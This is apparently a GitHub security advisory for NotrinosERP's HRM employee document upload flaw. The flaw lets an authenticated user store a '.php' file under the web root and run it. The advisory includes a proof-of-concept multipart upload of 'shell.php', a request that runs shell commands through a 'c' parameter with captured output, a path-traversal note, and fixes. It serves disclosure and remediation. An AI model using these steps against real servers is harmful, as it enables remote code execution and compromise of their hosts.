GitHub Advisoryadvisory · Packagist
GHSA-qv4m-m73m-8hj7 NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)
HIGH
Official page ↗
- Aliases
- CVE-2026-76913
- Ecosystem
- Packagist
- Packages
- notrinos/notrinos-erp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-22, CWE-434
- Reviewed
- 2026-07-10
Affected packages
• Packagist notrinos/notrinos-erp: < 1.1.0 → fixed in 1.1.0
Description
Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a
file with an arbitrary extension through the employee Documents tab. The handler writes the
raw client-supplied filename — extension intact — into a web-served directory with no extension,
MIME, or content validation, so a `.php` file is stored under the web root and executes as code,
yielding remote code execution on the server.
Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the
uploaded file using the client filename verbatim:
```php
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```
There is no extension allow-list, `getimagesize()`, MIME check, or content inspection on this
path. Contrast this with the profile-photo (`pic`) upload in the *same file*, which validates image
type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a
random extension-less name (`uniqid()`) with a comment warning that client filenames must never be
trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
• `company_path()` resolves under the web root; `config.default.php` sets
`$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
• The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
only — it does not block `.php` and does not cover `company/`.
• The stored path is then echoed unescaped into a clickable "View" link
(`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP
builds that do not basename `['name']`.
Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself.
Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`);
a valid `doc_type_id`; and the session CSRF token. The CSRF field is `_token` (validated by
`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your own local instance:
```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host:
Cookie:
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
--b
Content-Disposition: form-data; name="doc_type_id"
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
```
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
```http
GET /company/0/documents/employees/1__shell.php?c=id HTTP/1.1
```
The command in `c` executes on the server.
Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the
handler's verbatim path/move logic wrote `company/0/documents/employees/1__shell.php`
(attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web
server rooted at the app directory executed the payload:
```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../.php?c=uname%20-sm;whoami'
Darwin arm64
```
Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has
no real multipart temp file — the client-filename handling and the absence of any validation are
identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path,
and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root
`.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally
requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.
Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable
`SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to
administrators, treat privileges-required as High (CVSS ≈ 7.2).
Suggested fix
• Never use the client filename on disk. Store with a server-generated name and no executable
extension (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name
only as a DB label.
• Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`
branch already does.
• Store uploads outside the web root, or drop an `.htaccess`/`web.config` in
`company/*/documents/` that disables script execution (`php_admin_flag engine off`,
`RemoveHandler .php`, `SetHandler none`).
• `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS).
References / credit
• Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`,
`hrm/includes/ui/employee_ui.inc`.
• Reported by: <Kasper Hong / Kasper Builds>.